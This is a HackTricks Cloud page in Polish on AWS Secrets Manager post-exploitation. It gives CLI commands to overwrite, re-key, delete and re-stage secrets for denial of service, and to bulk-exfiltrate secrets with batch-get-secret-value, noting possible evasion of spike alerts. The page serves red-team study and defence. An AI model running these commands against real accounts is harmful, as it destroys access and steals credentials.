AWS - Secrets Manager Post Exploitation
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Secrets Manager
For more information check:
Czytanie Secrets
Te secrets są wrażliwymi informacjami, check the privesc page aby dowiedzieć się, jak je odczytać.
DoS — zmiana wartości Secret
Zmieniając wartość Secret możesz spowodować DoS wszystkich systemów zależnych od tej wartości.
Warning
Pamiętaj, że poprzednie wartości są również przechowywane, więc łatwo je przywrócić.
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
DoS Change KMS key
Jeśli atakujący ma uprawnienie secretsmanager:UpdateSecret, może skonfigurować secret tak, aby używał KMS key należącego do atakującego. Ten klucz jest początkowo ustawiony w taki sposób, że każdy może go użyć, więc możliwe jest zaktualizowanie secret z użyciem nowego klucza. Gdyby klucz nie był dostępny, secret nie mógłby zostać zaktualizowany.
Po przypisaniu secret nowego KMS key atakujący modyfikuje konfigurację tego klucza tak, aby tylko on miał do niego dostęp. W ten sposób w kolejnych wersjach secret będzie szyfrowany nowym kluczem, a ponieważ nie będzie do niego dostępu, możliwość pobrania secret zostanie utracona.
Warto zauważyć, że ta niedostępność wystąpi tylko w późniejszych wersjach, po zmianie zawartości secret, ponieważ bieżąca wersja jest nadal zaszyfrowana oryginalnym KMS key.
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
DoS Deleting Secret
Minimalna liczba dni potrzebna, aby usunąć secret, wynosi 7
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7
secretsmanager:RestoreSecret
Możliwe jest przywrócenie sekretu, co pozwala na odzyskanie sekretów, które zostały zaplanowane do usunięcia, ponieważ minimalny okres usunięcia dla sekretów wynosi 7 dni, a maksymalny 30 dni. W połączeniu z uprawnieniem secretsmanager:GetSecretValue umożliwia to pobranie ich zawartości.
Aby odzyskać sekret, który jest w trakcie usuwania, możesz użyć następującego polecenia:
aws secretsmanager restore-secret \
--secret-id <Secret_Name>
secretsmanager:DeleteResourcePolicy
Ta akcja pozwala usunąć politykę zasobów, która kontroluje, kto może uzyskać dostęp do sekretu. Może to doprowadzić do DoS, jeśli polityka zasobów została skonfigurowana tak, aby umożliwiać dostęp określonej grupie użytkowników.
Aby usunąć politykę zasobów:
aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>
secretsmanager:UpdateSecretVersionStage
Stany sekretu są używane do zarządzania jego wersjami. AWSCURRENT oznacza aktywną wersję, której używają aplikacje, AWSPREVIOUS przechowuje poprzednią wersję, aby móc się do niej cofnąć w razie potrzeby, a AWSPENDING jest używany w procesie rotacji, by przygotować i zweryfikować nową wersję przed uczynieniem jej bieżącą.
Aplikacje zawsze odczytują wersję oznaczoną jako AWSCURRENT. Jeśli ktoś przeniesie tę etykietę na niewłaściwą wersję, aplikacje będą używać nieprawidłowych poświadczeń i mogą przestać działać.
AWSPREVIOUS nie jest używany automatycznie. Jednak jeśli AWSCURRENT zostanie usunięty lub przypisany nieprawidłowo, może się wydawać, że wszystko wciąż działa na poprzedniej wersji.
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>
Masowa eksfiltracja sekretów za pomocą BatchGetSecretValue (do 20 na wywołanie)
Nadużyj API Secrets Manager BatchGetSecretValue, aby pobrać do 20 sekretów w jednym żądaniu. To może znacząco zmniejszyć liczbę wywołań API w porównaniu do iteracyjnego używania GetSecretValue dla każdego sekretu. Jeśli używane są filtry (tags/name), wymagane jest też uprawnienie ListSecrets. CloudTrail wciąż rejestruje jedno zdarzenie GetSecretValue dla każdego sekretu pobranego w ramach batchu.
Wymagane uprawnienia
- secretsmanager:BatchGetSecretValue
- secretsmanager:GetSecretValue dla każdego docelowego sekretu
- secretsmanager:ListSecrets jeśli używasz –filters
- kms:Decrypt na CMK używanych przez sekrety (jeśli nie używasz aws/secretsmanager)
Warning
Note that the permission
secretsmanager:BatchGetSecretValueis not included enough to retrieve secrets, you also needsecretsmanager:GetSecretValuefor each secret you want to retrieve.
Eksfiltruj za pomocą jawnej listy
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
Eksfiltracja przez filtry (tag key/value lub prefiks nazwy)
# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'
# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20
# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp
Obsługa częściowych awarii
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
Wpływ
- Szybkie “smash-and-grab” wielu sekretów przy mniejszej liczbie wywołań API, potencjalnie omijające alerty skonfigurowane na wykrywanie skoków GetSecretValue.
- Logi CloudTrail wciąż zawierają jedno zdarzenie GetSecretValue dla każdego sekretu pobranego w ramach partii.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

